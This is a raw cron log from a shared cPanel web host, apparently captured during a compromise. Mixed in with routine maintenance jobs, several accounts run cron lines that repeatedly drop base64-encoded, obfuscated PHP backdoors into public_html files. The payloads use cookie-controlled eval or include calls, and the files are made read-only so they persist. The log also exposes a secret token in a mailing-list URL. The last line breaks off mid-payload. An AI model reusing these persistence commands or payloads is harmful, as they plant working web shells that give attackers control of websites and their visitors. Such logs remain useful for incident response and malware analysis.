Jun  7 10:36:02 medusa CROND[2132]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 10:36:02 medusa CROND[2129]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 10:36:02 medusa CROND[2133]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 10:36:02 medusa CROND[2135]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 10:36:02 medusa CROND[2134]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:36:02 medusa CROND[2138]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:36:02 medusa CROND[2141]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:36:02 medusa CROND[2140]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 10:36:02 medusa CROND[2142]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 10:36:02 medusa CROND[2144]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 10:36:02 medusa CROND[2149]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:37:02 medusa CROND[3893]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 10:37:02 medusa CROND[3896]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 10:37:02 medusa CROND[3897]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 10:37:02 medusa CROND[3898]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 10:37:02 medusa CROND[3899]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 10:37:02 medusa CROND[3900]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Jun  7 10:37:02 medusa CROND[3901]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 10:37:02 medusa CROND[3902]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:37:02 medusa CROND[3905]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:37:02 medusa CROND[3908]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:37:02 medusa CROND[3913]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:37:02 medusa CROND[3916]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 10:37:02 medusa CROND[3919]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 10:38:01 medusa CROND[5729]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 10:38:01 medusa CROND[5730]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:38:01 medusa CROND[5731]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 10:38:01 medusa CROND[5733]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 10:38:01 medusa CROND[5732]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 10:38:01 medusa CROND[5735]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 10:38:01 medusa CROND[5736]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMg